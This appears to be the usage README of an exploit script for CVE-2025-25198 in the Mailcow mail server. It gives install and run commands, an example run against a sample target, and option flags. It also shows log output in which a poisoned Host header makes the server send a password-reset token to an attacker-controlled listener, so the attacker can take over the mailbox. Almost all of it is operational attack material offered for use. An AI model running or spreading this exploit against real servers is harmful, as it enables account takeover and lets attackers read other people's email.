Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target

pip install -r requirements.txt

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL> \
  --username <MAILBOX> \
  --attacker-host <ATTACKER_HOST> \
  --http2

<MAILCOW_URL>    # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX>        # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST>  # IP or DNS name that the target can reach on TCP/443.

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username [email protected] \
  --attacker-host 10.10.13.12 \
  --http2

[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

--http2
   Use HTTP/2 via httpx. Recommended for best parity with modern browsers.

--interval <seconds>
   Seconds between attempts and listener wait windows. Default: 8

--max-attempts <N>
   Stop after N attempts. Default: 0, which means retry indefinitely.

--cookie '<pairs>'
   Seed the client cookie jar manually.
   Example: --cookie 'PHPSESSID=abcdef123456; another=value'

--csrf <TOKEN>
   Use a known CSRF token instead of auto-discovery.

--only-final
   Hide progress logs and print only the final reset-link banner.